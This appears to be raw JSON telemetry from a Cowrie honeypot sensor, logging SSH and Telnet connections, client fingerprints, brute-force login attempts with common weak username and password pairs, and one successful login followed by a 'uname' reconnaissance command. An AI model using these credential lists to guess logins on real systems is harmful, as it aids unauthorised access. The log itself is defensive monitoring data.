{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":58358,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c8bfb7603f4","protocol":"telnet","message":"New connection: 185.26.126.47:58358 (159.203.135.109:23) [session: 9c8bfb7603f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:01.706597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:03.350093Z","src_ip":"122.168.114.167","session":"9e0de5f249a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:03.355613Z","src_ip":"122.168.114.167","session":"9e0de5f249a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.418687343597412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:06.243671Z","src_ip":"103.233.1.130","session":"d4e47843dcf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.686046600341797,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:11.392513Z","src_ip":"185.26.126.47","session":"9c8bfb7603f4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:12.407341Z","src_ip":"122.168.114.167","session":"9e0de5f249a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60118,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf4372f5db0f","protocol":"ssh","message":"New connection: 159.203.92.129:60118 (159.203.135.109:22) [session: bf4372f5db0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:12.693553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:12.699015Z","src_ip":"159.203.92.129","session":"bf4372f5db0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:12.703907Z","src_ip":"159.203.92.129","session":"bf4372f5db0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:12.715788Z","src_ip":"159.203.92.129","session":"bf4372f5db0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:13.724467Z","src_ip":"159.203.92.129","session":"bf4372f5db0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.4","message":"Connection lost after 14.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:15.711093Z","src_ip":"122.168.114.167","session":"9e0de5f249a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":38858,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3809f02d696","protocol":"ssh","message":"New connection: 122.168.114.167:38858 (159.203.135.109:22) [session: c3809f02d696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:39.070143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:41.074535Z","src_ip":"122.168.114.167","session":"c3809f02d696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:41.078207Z","src_ip":"122.168.114.167","session":"c3809f02d696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":58173,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5db197e4cfd","protocol":"ssh","message":"New connection: 182.253.79.194:58173 (10.17.0.5:22) [session: c5db197e4cfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:41.913565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:41.918028Z","src_ip":"182.253.79.194","session":"c5db197e4cfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:42.192951Z","src_ip":"182.253.79.194","session":"c5db197e4cfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ws123456.","message":"login attempt [root/Ws123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:43.324264Z","src_ip":"182.253.79.194","session":"c5db197e4cfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:44.602146Z","src_ip":"182.253.79.194","session":"c5db197e4cfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:51.884972Z","src_ip":"122.168.114.167","session":"c3809f02d696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48368,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd7b3ef02282","protocol":"ssh","message":"New connection: 159.203.92.129:48368 (159.203.135.109:22) [session: bd7b3ef02282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:55.053581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:55.057930Z","src_ip":"159.203.92.129","session":"bd7b3ef02282","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:55.066529Z","src_ip":"159.203.92.129","session":"bd7b3ef02282","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app.123","message":"login attempt [app/app.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:55.078308Z","src_ip":"159.203.92.129","session":"bd7b3ef02282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":59912,"dst_ip":"10.17.0.5","dst_port":22,"session":"b08e172ab92b","protocol":"ssh","message":"New connection: 103.149.252.223:59912 (10.17.0.5:22) [session: b08e172ab92b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:55.133871Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:55.139134Z","src_ip":"103.149.252.223","session":"b08e172ab92b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:55.142740Z","src_ip":"103.149.252.223","session":"b08e172ab92b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:56.084846Z","src_ip":"159.203.92.129","session":"bd7b3ef02282","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.4","message":"Connection lost after 17.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:56.440777Z","src_ip":"122.168.114.167","session":"c3809f02d696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":41264,"dst_ip":"159.203.135.109","dst_port":22,"session":"72c144a4d432","protocol":"ssh","message":"New connection: 122.168.114.167:41264 (159.203.135.109:22) [session: 72c144a4d432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:17.724532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:20.292220Z","src_ip":"122.168.114.167","session":"72c144a4d432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:20.312462Z","src_ip":"122.168.114.167","session":"72c144a4d432","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:27.605430Z","src_ip":"122.168.114.167","session":"72c144a4d432","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:31.528306Z","src_ip":"122.168.114.167","session":"72c144a4d432","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:31.531461Z","src_ip":"122.168.114.167","session":"72c144a4d432","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"2.4","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:33.976977Z","src_ip":"122.168.114.167","session":"72c144a4d432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.3","message":"Connection lost after 16.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:33.981600Z","src_ip":"122.168.114.167","session":"72c144a4d432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57436,"dst_ip":"159.203.135.109","dst_port":22,"session":"7511ba7661d4","protocol":"ssh","message":"New connection: 159.203.92.129:57436 (159.203.135.109:22) [session: 7511ba7661d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:37.991241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:37.996122Z","src_ip":"159.203.92.129","session":"7511ba7661d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:38.001091Z","src_ip":"159.203.92.129","session":"7511ba7661d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:38.011764Z","src_ip":"159.203.92.129","session":"7511ba7661d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:39.017851Z","src_ip":"159.203.92.129","session":"7511ba7661d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":40391,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef9c1db997a8","protocol":"ssh","message":"New connection: 182.253.79.194:40391 (10.17.0.5:22) [session: ef9c1db997a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:43.850664Z"}
